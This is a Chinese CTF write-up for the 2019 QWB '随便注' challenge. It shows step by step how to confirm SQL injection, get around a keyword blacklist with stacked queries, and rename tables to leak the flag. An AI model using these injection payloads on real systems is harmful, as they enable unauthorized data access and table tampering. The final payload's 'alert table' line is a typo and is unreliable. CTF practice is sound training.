强网杯 2019 随便注1

网络安全·CTF · 2023-10-06 · 750 人浏览

一、信息收集

打开靶场,发现表单,尝试数据1
场景-1
很明显,这是一道SQL注入题目。

验证

添加单引号,报错信息证明是字符型注入。
验证-1
再添加and 1=1#,返回正常页面。
验证-2
再尝试1' and 1=2#,返回报错
验证-3
证明存在SQL注入漏洞,尝试联合查询。
验证-4
发现关键词屏蔽,我们注意到where被屏蔽,证明常规注入手法已经失效。

二、堆叠注入

黑名单没有屏蔽show,尝试使用堆叠注入。
尝试攻击
查询表名0';show tables;#
尝试攻击
查询列名0';show columns from words;#,发现正常显示数据。
查询列名0';show columns from \`1919810931114514\`;#,发现flag字段。
尝试攻击

三、爆数据

这里爆数据的思路是通过修改查询的表名称来使前台返回数据,也是这个题的考点。
我们通过管理数据库命令是无法查询到flag中的内容的,我们可以考虑通过rename命令,将1919810931114514表重命名为words表,再为其添加一个id列,保证我们可以正常查询到其中内容。
payload:

1';
rename table words to word1;
rename table `1919810931114514` to words;
alter table words add id int unsigned not Null auto_increment primary key;
alert table words change flag data varchar(100);#

这个payload干的事有:

  1. 将words表重命名为word1,以便待会将1919810931114514表名命名为words。
  2. 重命名1919810931114514表为words。
  3. 为现在的words表添加一个自增主键id列。
  4. 将flag列改名为data并指定长度。

输入payload,再查询1,即可获得flag。
成功

750 Views
本站已在互联网运行了 Theme Jasmine by Kent Liao